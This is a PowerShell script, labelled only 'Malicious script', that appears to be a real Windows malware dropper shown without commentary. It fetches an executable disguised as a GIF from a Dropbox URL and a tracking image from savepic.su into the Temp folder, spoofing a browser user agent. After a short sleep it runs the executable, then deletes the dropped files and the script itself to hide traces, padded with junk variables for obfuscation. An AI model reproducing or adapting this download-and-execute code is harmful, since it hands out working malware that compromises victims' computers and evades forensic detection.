Malicious script

$aisjd = '123';
$stat = 'http://savepic.su/5540444.png';
$ggtt  = 'https://www.dropbox.com/s/y5iffq6bp8m0drn/lo.gif?dl=1';
$pths = 'C:\Users\PSPUBWS\AppData\Local\Temp\';
$wehs = '17055';
$nnm = '8';
$down = New-Object System.Net.WebClient;
$dasdw='123';
$file = $pths+$nnm+'.exe';
$statfile = $pths+'444.jpg';
$down.headers['User-Agent'] = ''+'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$dasdw='123';
$down.DownloadFile($ggtt,$file);
$down.DownloadFile($stat,$statfile);
$asdw='123';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = $pths+$wehs+'.'+'v'+'bs'+'';
$statFilePath = 'c:\Users\MM\AppData\Local\Temp\444'+'.'+'j'+'pg';
$btFilePath = $pths+$wehs+'.'+'b'+'at';
$psFilePath = $pths+$wehs+'.'+'p'+'s'+'1';
Start-Sleep -s 15;
cmd.exe /c  $file;
$file1 = gci $vbsFilePath -Force
$file2 = gci $btFilePath -Force
$ajsi ='412';
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds){ Remove-Item $kasldds }
If (Test-Path $btFilePath){ Remove-Item $btFilePath }
If (Test-Path $statFilePath){ Remove-Item $statFilePath }
$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';
If (Test-Path $file){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName